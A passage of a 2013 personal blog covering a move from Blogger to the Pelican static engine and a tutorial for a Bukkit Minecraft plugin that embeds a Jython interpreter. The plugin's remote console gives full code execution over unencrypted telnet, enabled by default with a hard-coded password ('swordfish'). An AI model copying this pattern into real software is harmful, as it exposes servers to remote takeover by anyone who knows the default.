Edit /home/remote_user/.vnc/xstartup to your liking. I’m using LXDE:

#!/bin/sh
xrdb $HOME/.Xresources
xsetroot -solid black
lxterminal &
/usr/bin/lxsession -s LXDE &

Pelican Switch Follow-Up

2013-07-31T00:00:00+02:00

Phew, all internal links on the blog should work fine now. There are a bunch left which link to the old Blogger pages, but that’s fine I guess; I’ll fix these as they come.

I promised to follow-up with some more details, so here goes…

Quickly after writing up a huge rant more than a month ago about how Blogger — especially its editor — was starting to annoy me and how I made some fixes to make the blog appear more “fresh”, I was still not really quite sure about the whole thing.

This hit me yet again when I was trying to write up my recent Minecraft post. Again, I was fighting against this outdated interface to publish the thing. My initial strategy — writing up the draft using StackEdit and publishing it to Blogger quickly turned out to be a hassle when making edits. You can sync to Dropbox or Google Drive, but only “publish” to Blogger, meaning that editing either involves entering a Blogger post ID (hard), or just logging into Blogger and edit the thing through there (“it’s only one typo” — easy). Sadly, Blogger’s editor makes all sort of assumptions and just loves to wrangle your post after saving your edits. Ugh.

I briefly considered moving everything to Medium, but after exploring the platform, I still found it was not completely up to my taste (yours may vary). Turns out there actually is support for code fragments (using a non-documented shortcut), but Medium’s typography helper still insists on changing your quotes to curly ones. Looks great in text, not in code. Oops. I tried putting a “note” (Medium’s version of a comment) on the “explaining the editor” page, but got no response. Maybe it’s fixed now, I don’t know.

Second, I don’t like how Medium tries to take away your online identity. You can’t use a custom domain, can’t set up a profile page, heck, even trying to “get discovered” when writing on Medium is less than easy. There are no deep analytics or a possibility to integrate Google analytics. There is no theming (although the site does look very pretty)… everybody looks the same. Writes the same, even, as I’ve noticed that certain kinds of posts get more attention than others. Don’t get me wrong, I like the platform as a reader and might still post things on there, but it doesn’t fit the content of this blog.

So anyway, back to the drawing board. If I was going to go through with this thing I still had to make some changes to my earlier developed Pelican site in order to make everything work, most notable implementing search (just using Google, that’s right), implementing comments (Google+, Facebook and Disqus tabs inspired by the Google+ Wordpress plugin) and some general theming changes, including a Medium-like circle profile pic (using the same CSS tricks) and the possibility to insert a full-width post cover. The latter took more time than I’m willing to admit to make the whole ordeal “responsive” and “mobile-ready”, but it turned out pretty nice I think (well, I checked with Chrome and Firefox — more about that later, by the way).

Speaking of responsive: you might have noticed that some images have captions next to them (the images in this post will feature them). I had to use just a tad of Jquery magic to push them under the figures when space gets too cramped. This probably could be done with pure CSS, but I’m glad with the result nonetheless. You might also recognize this as being inspired by Medium.

One final thing I did change were the fonts and the font-size. I like big serif fonts as much as the next person, but I noticed that they were not optimal for the type of content I’m currently producing here: long winded posts often containing lots of code and images. Still, I’m using webfonts and gratuitous amounts of white space to create some breathing space.

… so, with everything up and running, guess how this was influencing my page views:

A huge drop. I have never cared that much about page views, but after digging some more, I was surprised at the amount of visitors coming in from external links — being referred by links which did no longer work. If I wanted to retain those visitors, I had to fix my URLs.

Insert a few hours of fiddling with mod_rewrite in order to get everything sorted. When you enter from an old URL, you will now be shown this page. It’s not optimal, but it seems to work. Note by the way that bounce rate significantly dropped after adding the “tl;dr” thing — most people do not want to read anything. At all. Which is strange considering that they’re probably going to end up at a long blog post anyway. Also, most visitors click through to the old blog, but that’s better than losing them completely, I suppose.

That’s it considering the technical stuff. There is another reason, however, why I’m quite happy with the move… The internet has been buzzed up lately about privacy, content ownership, identity ownership, walled gardens, and other related topics. Especially with the up-and-coming status of Medium and the NSA spying going on, us “old internet farts” seem to become more and more concerned with these affairs. I refer for example to this great post by Marco Arment about owning your online presence. He gives the example of RSS as well, which I also find to be a great case study on the creation of walled gardens. Google indeed seems very busy lately on stabbing stakes in RSSs poor heart. Sadly, he also mentions Tumblr as a “best-practise” follower to this regard. Now with Yahoo! as the owner, how long before things change for this platform as well, I wonder?

Sam Whited is another great guy who runs his own blog, on his own domain, and is also worried about online identity and content ownership. He also gives the example of Google and the Google Reader debacle, and tries to find alternatives for the many, many Google products he is using. Not as easy as you think it might be.

This realization is not worrysome (for now), but at least worth to think about for two seconds. How many Google products do you use? Can you find alternatives? I’ve already quit one (Blogger) and I’m happier with the result. I tried Fastmail as a Gmail alternative (as suggested and discussed on Hacker News lately), and although I like the snappy interface (and dislike Gmail’s recent “additions”) the switch turned out to be near impossible. The integration with my phone, for example (Android, another Google product) was just too tight, the amount of e-mails too large. I’m since backuping all my e-mail daily (using “Gmvault”), but what if Google shuts down IMAP support (there are rumors suggesting this)? Calendar. Another example. Much better than any competitor, works great on Android. Impossible to quit. Google Maps? Maybe, again, I’m not a huge fan of the “new maps” overhaul, but the data quality is still among the best. Search (funny how this is no longer at the top of the list)? Perhaps. Duckduckgo? Maybe, but wasn’t this just some shell around the inferior Yah! search?h

Google Chrome? Perhaps. I remember quiting Firefox years ago because it was starting to feel bloated and slow. Chrome back then was the saviour of browsers the internet needed and wanted. On the other hand, I’ve noticed Chrome using more and more memory, and it generally does not feel as snappy as it used to. I’ve followed Cameron Paul’s example and tried switching back to Firefox for a week. It actually did not feel bad at all. Firefox seems to have become much better again, and I commend the Mozilla team on continuing their efforts. Yes, Chrome might outrun Firefox in some edge cases (benchmark environments, mainly), but Paul makes a more important point as well:

Technical issues aside, there’s something else that’s been in the back of my mind for a while now. I honestly believe Mozilla is committed to freedom and privacy on the web. Google is committed to making money and knowing everything I do. Firefox greets me with a page explaining my rights as a user of open source software. Chrome greets me with… sigh… Chrome greets me with a fucking advertisement for a Chromebook.

As a funny aside, I only noticed after switching to Firefox that my own blog theme was rendering incorrectly due to some erroneous floating, something Chrome was ignoring (hence causing me to think that all was well), but Firefox was actually implementing correctly. I’m not trying to argue Chrome was wrong and Firefox was right (in fact, you could argue Chrome being smart enough to figure out what the desired end result was), but it did show me how much I’d come to depend on Chrome, together with all the arrogant “it only needs to work on Chrome”-mentality.

And so a quick migration from one blogging platform to another resulted in some analysis about the state of the internet as it is moving forward… or onward. I’m not bitter, mind you. I love Medium, I love Google+, I love Twitter, and I still believe Google to try (in general) to do no evil — the fact that I’m using Google for search and comments here supports this. But maybe we should think before putting all our content — and identities — into online containers we have no control over whatsoever.

I Did Switch To Pelican

2013-07-11T01:05:00+02:00

Just a quick heads up to let you know that this blog will look a bit different — once again!

Although indicated otherwise about a week ago, I’ve nevertheless decided to move away from Blogger and migrate to Pelican.

I’ll make sure to go into the details in a follow-up post.

Note also that some things are still somewhat broken:

All posts were migrated, but some internal links are still broken, I’ll have to go through them.
URLs were changed, so change your bookmarks or deep links. You can either: (i) search this site to find the new location or (ii) go to the old blog still available at Blogger. Note tho that new posts will not appear there. (Edit: I’ve set up URL redirecting, so visitors arriving here using an old URL will get some feedback about what to do next.)
Also, this reminds me: I still have to put search in place. (Edit: this is also done now… simply using Google.)
Comments were not migrated. A new comment system has been put in place using Google+. Facebook and Disqus.
Some small themeing errors might still occur, although I’m pretty happy with how things ended up looking. Again, more details in a follow-up post.

A Bukkit Jython Console Plugin For Minecraft

2013-06-29T00:00:00+02:00

Summary and Changes

This post describes how you can create a Python interpreter for a Bukkit Minecraft server, providing access to the full internal API. Commands are issued on a separate console window and do not require players or server administrators to be running the game itself.

Following list provides an overview of changes:

2013-06-29: Initial version.
2013-07-16: Some spelling fixes. Added feature which creates server listening for incoming connection instead of spawning a GUI based console. This allows users on servers to play with the plugin as well.
2013-07-18: Expanded server listening feature to allow for multi-user logins. Article updated accordingly.

Introduction

Unless you’ve been living under a rock, you probably know about Minecraft, the famous open block based 3D building/crafting/exploration/survival game.

Minecraft is a game about breaking and placing blocks. At first, people built structures to protect against nocturnal monsters, but as the game grew players worked together to create wonderful, imaginative things.

It can also be about adventuring with friends or watching the sun rise over a blocky ocean. It’s pretty. Brave players battle terrible things in The Nether, which is more scary than pretty. You can also visit a land of mushrooms if it sounds more like your cup of tea.

Minecraft has been wildly successful. Not only because of the LEGO-like main gameplay, but also thanks to the developers’ friendly stance towards modding, causing an incredible amount of modifications being released, ranging from additional creatures to custom biomes.

Lots of people have also emphasized the fact that Minecraft is a great way for parents to bond with their children. Also in the classroom, Minecraft has been used as a teaching aid to inspire children.

Combine the two aspects above (modding and teaching), and you ultimately start wondering whether Minecraft could also be used to teach programming. When the Raspberry Pi put online their announcement that a special Minecraft version would be available for their miniature, cheap computer, the answer to this question indeed seems to be: yes, since their “Minecraft: Pi Edition” would come with a programming Python API built in, as shown by the following screen shot.

Back on the PC-side, the great interest in modding Minecraft eventually led to the Bukkit project — a community-created Minecraft server with a comprehensive API to allow others to create plugins, extending the world, gameplay and rules of the vanilla Minecraft experience. Minecraft server administrators also enjoy having some sort of console available to be able to modify a Minecraft world at runtime. Banning players, erecting or destroying structures or changing the time of day without having to restart indeed comes in handy when you’re running a server. The Bukkit development API makes it very easy to create such kinds of plugins, but they often require the list of possible commands to be specified beforehand (in the Java plugin), which are then made available through the game’s chat window. For instance, issuing the command:

/weather sunny

Would mean that you have a plugin running which is able to handle the command /weather and converts this to appropriate Bukkit API calls, e.g. setThundering.

Other than that, lots of people have started to learn Java or other languages by trying to create a Bukkit plugin or some sort of Minecraft-inspired clone. Following list provides just a tad of what is out there:

Learning Java: Bukkit Style
Introducing Kids to Java Programming Using Minecraft — on Oracle’s blog
MineAssemble — not for Bukkit, but a bootable Minecraft clone written partly in x86 assembly, impressive
https://github.com/fogleman/Minecraft — also not for Bukkit, but a clone in Python and Pyglet
Learning Physics with Minecraft — not programming, but learning physics with Minecraft
Minecraft in Mathematica — …and even Mathematica clones

This is all nice, but a bit too high-level for what I wanted to build. I wanted to have direct access to the Bukkit API, similar to how the Minecraft: Pi Edition provides direct access to its API.

We’re thus going to create a Bukkit plugin which gives server administrators or programming students direct access to the full Bukkit API. The actual plugin is actually very simple, thanks to the magic of Jython, a Python implementation in Java which allows for Python<->Java crosstalk and saves us from having to implement any command in the plugin itself. Commands are issued on a separate console window and do not require players or server administrators to be running the game itself.

Related Work

The basic idea behind what we’re going to do is certainly not new by any means. The Minecraft: Pi Edition, as mentioned above, implements a similar idea (see also this article). The Mag Pi magazine even featured a nice tutorial to show off what you can do with it.

Other than that, there’s ScriptCraft, providing a Javascript based programming interface for Minecraft:

ScriptCraft is a Minecraft Mod that lets you extend Minecraft using the Javascript Programming Language. ScriptCraft makes modding Minecraft easier. It includes a logo-like “Drone” object that can be used to build complex buildings, roads, villages, even entire cities. It also includes many other features that make modding Minecraft easier.

You can find more information about ScriptCraft here and here. It’s certainly a great project to teach programming, but comes with the drawback that it offers programmers its own API (implemented in a Bukkit plugin), meaning that you’ll have to program using Bukkit chat commands, for instance:

/js box("5").up(3).left(4).box("1").turn(3).fwd(5).right().box("1").move("start")

ScriptCraft also includes a “Drone” class which simplifies movement and building in Minecraft, similar to the “turtle” in the LOGO programming language (LOGO is a Lisp-like programming language which used to be popular to teach kids programming; fun fact: the first “real” programming language I learnt actually was a LOGO derivative).

This is all nice, but still too high-level. I want to be able to get direct access to all Bukkit’s API functions (not only exposed ones through a plugin), preferably not having to use the game’s chat.

ComputerCraft also inspires people to learn coding, but is even more high level. It actually provides a “console block” in the game offering a rudimentary shell which has nothing to do with the inner workings of either Bukkit or Minecraft.

Finally, plugins such as PyDevTool and RedstoneTorch come closer to what we want to achieve. For instance, PyDevTools allows to:

Execute arbitrary python code from console or ingame Execute saved python scripts Interactive interpreter mode

This is almost exactly what I wanted to build, but still requires to log into the game to execute /py <statement> commands. Yes, these can also be entered in the Bukkit console (offering some kind of interactive shell), but I wanted to remove the /py clutter. A simple trick indeed will allow us to do so, let’s get right to it…

Making the Plugin

We’ll be using Eclipse to make our Bukkit plugin. I’ll assume you know how this IDE works already. If you’re not familiar with Java and just want to try the plugin, you can skip this section. Otherwise, follow along.

First of all, we’re going to create a new Java project in Eclipse. I’ll call this BukkitConsole. We create a plugin.yml file in the project root with some basic information:

Next up, we create a lib folder in which we’re going to place two libraries:

jython-standalone-*.jar: to be downloaded from the Jython web site
bukkit-*.jar: the Bukkit development API, which can be downloaded from here (more information on their Wiki). I’m using the 1.5.2 branch.

Add these libraries to the build path. You’ll now have the following structure:

Next, we’ll create the plugin classes themselves. Create a package under src called com.macuyiko.bukkitconsole. We’re going to add two classes.

MainPlugin.java, this class just loads the libraries from the lib folder and spawns a PythonConsole window:

package com.macuyiko.bukkitconsole;

import java.io.File;
import org.bukkit.plugin.java.JavaPlugin;
import org.bukkit.plugin.java.PluginClassLoader;

public class MainPlugin extends JavaPlugin {
    public void onEnable(){
        getLogger().info("BukkitConsole: Loading libs");
        try {
            File dependencyDirectory = new File("lib/");
            File[] files = dependencyDirectory.listFiles();
            getLogger().info("BukkitConsole: JARs found: "+files.length);
            for (int i = 0; i < files.length; i++) {
                if (files[i].getName().endsWith(".jar")) {
                    getLogger().info("BukkitConsole:  - "+files[i].getName());
                    ((PluginClassLoader) this.getClassLoader()).addURL(
                        new File("lib/"+files[i].getName()).toURI().toURL());
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        getLogger().info("BukkitConsole: Starting Jython console");
        new PythonConsole();
    }

    public void onDisable(){
        getLogger().info("BukkitConsole: Plugin was disabled");
    }
}

PythonConsole.java, this class employs Jython to execute start.py in the python directory:

package com.macuyiko.bukkitconsole;

import org.python.core.Py;
import org.python.core.PyString;
import org.python.core.PySystemState;
import org.python.util.PythonInterpreter;

public class PythonConsole {
    public PythonConsole() {
        PySystemState.initialize();

        PythonInterpreter interp = new PythonInterpreter(null,
                new PySystemState());

        PySystemState sys = Py.getSystemState();
        sys.path.append(new PyString("."));
        sys.path.append(new PyString("python/"));

        String scriptname = "python/start.py";
        interp.execfile(scriptname);
    }
}

Things’ll now look as follows:

That’s it for the Java side! Export your project to bukkitconsole.jar.

We’re now going to setup the server. Create a folder server somewhere. Next, download craftbukkit-*.jar from here (Bukkit is the development API, “CraftBukkit” is the actual server; again, more info on the Wiki) and put it in this folder.

We’re also going to create a simple run.bat in this folder:

java -Xmx1024M -jar craftbukkit-*.jar -o true
PAUSE

Execute run.bat to see whether CraftBukkit works fine and if you can connect with your Minecraft client (note: if you’re running the current snapshot, the launcher should allow you to create a profile with version 1.5.2, which is what we’re using here). Normally, you should get something like:

Enter stop to stop the server. CraftBukkit will have created some new folders in your server directory:

Next, we’re going to download a Jython console. I picked this one by Don Coleman, since it is simple and offers fairly robust code completion. Note that I had to make some changes to it which can be found on the GitHub repository I’ve created for this project. Not using these changes is okay but will lead to some error spam on the Bukkit console.

Create a folder called python in server and extract the Jython console. python should contain:

console.py
history.py
introspect.py
jintrospect.py
popup.py
tip.py

We’ll also create a file start.py in this location with the following content:

import console
console.main()

We also need to create a lib folder in server and put in the following JARs:

bukkit-*.jar
jython-standalone-*.jar

Yes… the same ones we’ve included in our Eclipse project. It would have been possible to package these into the JAR, but loading in resources from JAR files is a bit of a pain which I didn’t want to go through. Feel free to add lib and python to the JAR and submit a pull request on GitHub if you get things working.

That’s it. Try executing run.bat again. If all goes right, Bukkit should be able to load in our console plugin and will present you with an interpreter:

We can try out some commands. Note that you’ll have to from org.bukkit.Bukkit import * to get access to the Bukkit API (or from org.bukkit import Bukkit — you’ll have to use Bukkit.* but will allow autocompletion)!

>>> from org.bukkit.Bukkit import *
>>> getWorlds()
[CraftWorld{name=world}, CraftWorld{name=world_nether}, CraftWorld{name=world_the_end}]
>>> w = getWorld("world")
>>> w.getTemperature(0,0)
0.800000011920929
>>> w.getBiome(0,0)
PLAINS
>>> w.getTime()
12557L
>>> w.getPlayers()
[]
>>>

The Bukkit API docs provide a full overview of all that is possible with the complete API. Broadcasting messages, changing inventories, changing worlds, spawning lightning, all is possible.

You can also save functions in Python scripts if you want to. For example, try creating a scripts.py in the server folder:

import random
import time
from org.bukkit.Bukkit import *

def punishPlayer(name, power):
    p = getPlayer(name)
    p.getWorld().strikeLightning(p.getLocation())
    p.getWorld().createExplosion(p.getLocation(), power)
    broadcastMessage("Player %s has been punished!" % (name))

Now, in the console, we can:

>>> import scripts
>>> scripts.punishPlayer("Macuyiko", 6)

Which will explode a player with a lightning strike to warn other outlaws. The server administrator’s “command center” now looks like this:

Adding a Remote Interpreter Server

We’ve now created a Bukkit plugin spawning a Jython interactive console which is able to use the full Bukkit API. This is a nice starting point to create administrative support scripts, in-game games, or course material for a Minecraft Python programming course.

(Added 2013-07-16) There is still “one more thing”, however, which prevents our plugin from being useful for “real” server administrators: the fact that it relies on GUI capabilities being present. It would be nice if we would be able the just spawn an interpreter on the console. Doing so, however, is not particularly trivial. One might be tempted to just start a code.interact() loop to do so, but this method comes with several drawbacks:

The input/output of the interpreter would clash with that of Bukkit itself.
Only the server user would be able to execute commands. It would be nice if we could allow for multi-user interaction (e.g. for students).
Running code.interact() puts Jython in a wait forever loop, which actually causes Bukkit to postpone its further loading. We can put this in a separate thread, but it still remains a messy solution.

(Added 2013-07-18) Next, I opted to create a socket based listening server which listens for incoming connections and presents a “remote interpreter” to the user. This is great, since it also allows non-local access. Still the implementation (created as a Python script loaded by the plugin) was a bit hacky and contained some drawbacks:

Use of blocking reads/writes can cause the server to lockup in some cases. Yes, this could be fixed, but would require expanding the code significantly.
Only one concurrent user can be “logged in”. This is caused by (i) the absence of multi-threaded connection handling and (ii) the stdout redirection we’re doing to redirect output coming from the Python interpreter back to the client socket, based on a similar implementation found in RipShell by Guido Wesdorp.
Still a wait-forever loop which causes Bukkit to halt loading. Note that te GUI version manages to avoid this (the console stays open while Bukkit continues loading), due to the fact that the GUI gets put into its own thread. Adding a daemonized thread to the “console server” mode fixed this issue and at least allowed the proof of concept to work.

The real solution consists of editing the plugin code itself and once again haressing the power of Jython…

As such, we create two new Java classes. SocketServer.java handles the incoming client connections and creates a ConnectionThread.java thread per client. For each client, a new InteractiveInterpreter is spawned:

// ...

public class ConnectionThread implements Runnable {
    //...

    public ConnectionThread(Socket socket, SocketServer socketServer) {
        this.socket = socket;
        this.server = socketServer;
        this.interpreter = new InteractiveInterpreter();
        try {
            this.in = new BufferedReader(new InputStreamReader(socket.getInputStream(), "UTF-8"));
            this.out = new PrintStream(this.socket.getOutputStream());
        } catch (Exception e) {
            e.printStackTrace();
        }
        this.interpreter.setOut(this.out);
        this.interpreter.setErr(this.out);
    }

    public void run() {
        try {

            //...

            out.print(">>> ");
            while ((line = in.readLine()) != null && !line.equals("exit!")) {
                boolean result = interpreter.runsource(line);
                if (result)     out.print("... ");
                else            out.print(">>> ");
                if (line.equals("stop!")) {
                    server.getListener().close();
                    socket.close();
                    return;
                }
            }

            out.println("Bye");
            socket.close();
        } // ...
    }
}

Finally, MainPlugin.java is modified to read in config values from a config.yml file with following defaults:

bukkitconsole:
 guiconsole:
  enabled: true
 serverconsole:
  enabled: true
  password: swordfish
  port: 44444
  maxconnections: 10

Once done, the plugin is able to start both a GUI interpreter locally on the server, or bind a remote interpreter server to a chosen port, waiting for clients to connect. A session (using telnet might look as follows):

~$ telnet localhost 44444
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Python Interpreter Server
-------------------------
PASSWORD: swordfish
You're in
>>> from org.bukkit import Bukkit
>>> Bukkit.getWorlds()
[CraftWorld{name=world}, CraftWorld{name=world_nether}, CraftWorld{name=world_the_end}]
>>> Bukkit.getWorld("world").setTime(200)
>>> Bukkit.getWorld("world").setTime(1400)
>>> exit!
Bye
Connection closed by foreign host.

Two special commands exist. exit! exits the session whereas stop! will completely stop the socket server (not allowing any new connections until Bukkit is restarted). Just as with the GUI interpreter, it makes sense to from org.bukkit import Bukkit before entering other commands for convenience’ sake.

Wrapping Up

The source code for this project can be found on the following GitHub repo. The repository also hosts everything you need to get running without having to code/compile anything. Feel free to modify both the Python and Java sources and submit pull requests with improvements. I’d also love to hear about any cool or interesting things you do with this.

Note that the default configuration for the repo project will spawn both a GUI interpreter and a listening server (at port 44444, password “swordfish”). If you want to change this, simply modify config.yml which will be created in plugins/Bukkit Jython Console/ after starting the plugin for the first time.

Finally, if you’re interested, the following video shows some more tinkering. (Protip: I’m a bit awkwardly using alt-tab and the inventory screen here. If you press T to start typing in chat, you can alt-tab out of the game without pausing or having the inventory screen opened, which allows you to better see what’s going on.)

I Almost Switched To Pelican, A Static Blog Engine

2013-06-20T00:00:00+02:00

Visitors familiar with my blog will notice a pretty big change when viewing this post. The blog’s been due for a redesign for some time now, so a few days ago I finally went through with it.

The redesign took more time than expected, since I spent quite a lot of time setting up Pelican — a static blog engine written in Python, including converting all my Blogger posts to Markdown. I will describe some of the reasoning behind this, together with the reason why I ultimately stayed with Blogger — for now.

What’s Wrong with Blogger?

I’ve been using Blogger for many years. Delving into the archives of this site suggest I’ve been seriously using it since 2005, with my main blog being called “Macuyiko’s Mindcube” back then. In fact, it’s still online, with the last post redirecting visitors to my new blog (“Bed Against The Wall”).

Throughout the years, that — this — blog went through a series of redesigns and shifted through topics of interest. To be honest, I was never that good at consistently putting out content, but being able to keep the thing running for almost ten years now is an accomplishment in itself, I suppose.

Anyway, I’ve been getting somewhat disappointment with Blogger lately, something which started some two or three years ago, when I started putting out longer articles, containing also more code fragments. Don’t get me wrong, I don’t think Blogger is bad, but the following things were becoming an annoyance:

I’ve seen my fair share of Javascript WYSIWYG editors — either bolted to your favorite blogging platform of choice or “that PHP Content Management System from the nineties”. While libraries and frameworks such as JQuery have helped to clear out some of the mess, I honestly feel that 99% of them still behave like crap.

I’ll not go into details about all the things wrong with Javascript editors now. Still, there is one silver lining which is worth mentioning: the amount of great Markdown based Javascript editors which have appeared during the past years. For example, check out EpicEditor, markItUp!, markdown live editor, WMD (outdated) and its many spinoffs. I absolutely love Markdown, and have even forced it to users of websites I’ve built, using one of the aforementioned Javascript editors to make it clear how easy it is to write Markdown text.

At this point you might be wondering what, exactly, is so messed up about the Blogger WYSIWYG editor. There isn’t anything really wrong with it, but the following has been bothering me:
- Inserting code is a problem. You have to deal with pre, tt, code tags together with installations of Pretty Print (or similar libraries). Don’t forget to convert your <‘s to < or things won’t work. Make sure your whitespace is correct, meaning that you alternate between tabs, spaces, or a bunch of  ‘s.
- So okay, maybe Blogger isn’t great for code, but at least it’s perfect for writing, right? Not really. It’s okay, but the rise of recent “modern magazines” such as Medium and SVBTLE have made it clear that writing can be a much smoother process. Heck, even Wordpress’ editor is nicer, and will apply many typographic fixes such as converting two dashes to an em-dash.
- Blogger allows too many formatting options. Since its editor is a WYSIWYG on top of HTML, it’s perfectly fine to copy-paste in ugly text coming from an e-mail message or that Word document you typed out… <span> with mso-style, anyone? Please, just allow me to apply headings, emphasis, lists and paragraphs to my text, but let the theme CSS do its thing and leave out the styling.
Making changes to the template is bothersome. Blogger’s template system is fine as long as you keep using one of the default themes, maybe make some slight color or font changes, and leave the rest as is. Once you want to start moving stuff around however, add backgrounds or lots of custom CSS/JS, things get harder and you quickly and up in the middle of “tag soup”. I didn’t even manage to change the background of the final theme I was using once, even though I was initially planning to do so once in awhile. It’s not hard, but my laziness outshines the difficulty.

That said, there are plenty of things which I do like about Blogger. It’s very easy to set up a basic blog, there are many widgets to choose from, basic templating stuff is fine if you don’t mind your blog having a common look and feel. Also, comment management and moderation works pretty well, especially now with the Google+ integration.

So, in short, what I wanted was:

The ability to write in Markdown
The ability to easy add in code, syntax highlighted if possible
Nice typographic options, beautiful text
Easy theming support

Blogger was starting to make this pretty hard.

Solutions, Workarounds and Alternatives

Just continue to use Blogger?

I’m not alone in my desire to use Markdown with Blogger. The topic has actually been discussed to a great extent, with solutions including the following:

Write Markdown on your computer, then convert to HTML with one of many tools out their. Cons: redundancy, no central “post” repository, making edits is hard. Not 100% web based.
Use one of these neat apps such as Byword (MarsEdit as well?) which lets you publish to Blogger. Cons: not 100% web based, no central posts repository. Often Mac only…
Write a web app using Blogger’s API which would allow me write posts using Markdown and publish them to Blogger after converting them to HTML. But this would’ve taken so much effort.
Include a bunch of magic Javascript scripts/parsers on your Blogger blog which will perform the conversion of Markdown to HTML client-side. This keeps your posts centrally stored, but relies on too much hacks to feel like a great solution. Still, it’s being used. mmd.js seems to be the preferred Javascript Markdown parser as of now.

Switch to another service

There has been a renaissance of writing on the web. When 2012 used to be about Tweets and short status updates, sites like Neocities or Medium are putting the emphasis back on simple, well written web sites.

Indeed, the options for a minimalistic blog are many. Many of them support Markdown out of the box. Many of them do away with many typical overblown blogging features. No comments, no complex theming, just writing:

I will admin, these all look fantastic. I’m already using Tumblr for my random stuff I find online blog; the Dropbox based options look like great Zen-like blogging experience. I have my invite for Medium, and the platform looks fantastic.

I would’ve gone with one of these options (in fact, I’m still on the fence), but I was a bit disappointed with (i) the lack of code formatting support on most of these platforms, (ii) the lack of any theming to make yourself stand out.

Host it yourself, static-like

A final alternative solution I was considering was hosting the blog myself using a static blog engine. I don’t mind Wordpress, but think it’s completely overkill for a simple use case such as mine. I considered the following options:

Jekyll: Ruby, Markdown or Textile, robust, proven, powers GitHub Pages…
Octopress: sits on top of Jekyll to provide a more full featured blogging platform.
Hyde: “Jekyll’s evil twin”. Python, Jinja2, full-featured.
Hakyll: Haskell, robust, esoteric.
Acrylamid: Python, Markdown and reStructuredText, Jinja2. Fast, experimental.
Utterson: Unix, HTML. Basic, experimental.
Rog: Ruby, simple, young.
Cyrax: Python, Jinja2, young.
Second Crack: PHP, one of the few PHP static blogging engines worth mentioning these days (shows how the language has evolved, actually…). Created by Marco Arment, so you know it can hold its own. Not suitable for everyone though.
Pelican: Python, Jinja2, Markdown and others, well-featured, easily usable.

Ultimately, I settled on Pelican. I liked Jekyll, but wanted a Python based engine since I didn’t want to deal with installing Ruby on the server I’d be using. Installing Pelican is very simple. Just pip install pelican, Markdown and typogrify and you’re set. Typogrify is a great Python library which helps you to prettify written text, mostly thanks to Gruber’s fantastic SmartyPants plug-in.

Configuration is just an easy step consisting of modifying pelicanconf.py:

#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals

AUTHOR = u'Your Name Here'
SITENAME = u'Your Title Here'
SITEURL = ''

TIMEZONE = 'Europe/Brussels'
DEFAULT_LANG = u'en'
TYPOGRIFY = True

# Generation
DIRECT_TEMPLATES = ('index', 'archives')
MONTH_ARCHIVE_SAVE_AS = 'archives/{date:%Y}/{date:%m}/index.html'
YEAR_ARCHIVE_SAVE_AS = 'archives/{date:%Y}/index.html'

# Feeds
FEED_ATOM = 'feeds/atom.xml'
FEED_RSS = 'feeds/rss.xml'
FEED_ALL_ATOM = None
CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None

# Blogroll
LINKS =  (('Name', 'http://url.com/'),
    )

# Social widget
SOCIAL = (('Twitter', 'http://twitter.com/username'),
     )

DEFAULT_PAGINATION = 10

# Template
THEME = "themes/custom_theme"

I then picked the TuxLite ZF theme from pelican-themes as a starting point to put in custom_theme. I changed the color scheme, header sizes and spacings and fonts (making use of Google’s web fonts to pick out a nice heading font which would work well with large-sized OpenSans for the normal text, which I’m currently in love with — it works great for slides as well, try it!). Editing the Jinja2 themes was a breeze and mostly consisted of taking stuff away — like tags and categories — which I didn’t need. Finally, I made sure to made the background “pop” behind the single-column content, using inspirational, high resolution foto’s.

Next up, the hard part, converting all my Blogger posts to Markdown… Luckily, Lars Kellogg-Stedman has had the same problem and describes possible approaches in this post. I thus created a folder with the following:

blogger2md.py from https://gist.github.com/larsks/4022537
blogger-export.xml from Blogger: an export of your blog
html2text.py from https://raw.github.com/aaronsw/html2text/master/html2text.py

You’ll need to install lxml to get everything to work. This didn’t work for me using pip, but easy_install did the job. Once this is setup, create a new directory posts and run:

blogger2md.py --html2text --output-dir posts blogger-export.xml

The script will start crunching and convert everything. Afterwards, I went through every post to rename the file name, correct the meta data, fix the links (Pelican wants (|filename|FILE_PATH)) and clean up some formatting issues still present after the conversion (quite a lot of them). This took a few evenings, but I now have a collection of Markdown posts for this complete blog.

Side track: a trip down memory-lane

While I was converting all these posts, it struck me how long I’ve been blogging, and how “face-palmingly” bad my writings were as a kid. Luckily, my Geocities page has since long disappeared thanks to Yahoo! (actually, I should retrieve it from the archive for a laugh), but this wasn’t that much better. “This dog is gonna check out town”… really, young me? I wanted to keep everything intact, but made some modifications to the language where I really felt I had to (swearing, “hackz0r M$”-bashing, referenced to piracy… hey, I was a poor kid).

It’s also funny to see the topics my blog has shifted through:

Games, with sad reviews of “classics” such as Scarface… and Portal.
Linkdumps, oftentimes based on what I’d read on Digg (yes, Digg!) that day. Is Digg still around? I almost forgot about the HD-DVD “number gate” back then.
Linux related posts. Mostly following after acquiring my now pre-historic Thinkpad X60 which is, in fact, still somewhat being used.
Hacking and thinkering… like here and here. Some of these are not that bad. The Kippo article has been pretty popular, together with the PalettestealerSuspender tool. Others just show off my horrific PHP skills.
Puzzles, algorithms, optimization. I like these as well, but they should be proofed for language, spelling, formatting.

Anyway, back to the main programming now.

Just stay with Blogger?

So here I was, ready to launch with Pelican. Admittedly, some of the posts needed some further formatting, some links has to be corrected and the Disqus comment system had to be implemented, but that could be done later. All there was left to do was relink the domain name (blog.macuyiko.com) and put up a message on the old blog that things had moved.

Still, I wasn’t feeling sure about things. Just to be sure, I decided to have another look around to see if things had improved on the Blogger side as of yet, since it’d been a while since I’d searched for solutions.

Turns out there is a web app called StackEdit which provides a great Markdown writing environment, is able to sync to Dropbox or Google Drive (sweet) and is able to publish to Blogger. Alright, maybe one more chance, then. I spent some time revamping the old theme to match the design I’d put together for the static site (you’re probably looking at it now), using the same fonts and colors. I had also set out to be able to change the background every time I made a new post, so I made sure I’d be able to do that from now on as well. That’s why you’re currently looking at a summer-y “pelican” background. It’d be great if I could made the background post-dependent, but maybe that’s going too far.

So I’m keeping things a bit longer with Blogger. As I said at the beginning, it offers some nice features, and this way I don’t have to introduce yet another commenting system.

On the plus side, I’m now able to write and keep posts as Markdown (using StackEdit with Google Drive) and host at Blogger. The theme doesn’t look too bad (will need some further fine tuning) either. Still, if it turns out that I’d rather go to Pelican anyway (or maybe one of the services mentioned above), I now have a collection of Markdown posts at the ready.

